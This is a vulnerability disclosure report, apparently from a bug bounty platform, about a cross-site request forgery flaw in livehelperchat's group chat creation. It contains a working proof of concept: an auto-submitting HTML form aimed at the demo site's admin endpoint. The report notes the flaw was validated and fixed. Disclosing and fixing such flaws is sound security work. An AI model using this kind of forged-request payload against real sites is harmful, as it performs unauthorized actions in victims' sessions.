Cross-Site Request Forgery (CSRF) in livehelperchat/livehelperchat

Valid

Reported on

Aug 24th 2021


✍️ Description

csrf bug to create a group chatlist

🕵️‍♂️ Proof of Concept

There is no csrf token checking during creating a group-chatlist.
Bellow request is vulnerable to csrf attack

<form action="https://demo.livehelperchat.com/site_admin/groupchat/new" method="post" id="myForm">
<input type=hidden name="Name" value="testt">
  <input type="hidden" name=Type value="1">
  <input type="hidden" name=Save_action value="Save & Exit">
 <input type="submit" value="submit">
</form> 
<script>
document.getElementById("myForm").submit()
</script>

💥 Impact

csrf bug to create a group chatlist

Occurences

We have contacted a member of the livehelperchat team and are waiting to hear back 3 months ago
Remigijus Kiminas validated this vulnerability 3 months ago
ranjit-git has been awarded the disclosure bounty
The fix bounty is now up for grabs
Remigijus Kiminas confirmed that a fix has been merged on f7584a 3 months ago
The fix bounty has been dropped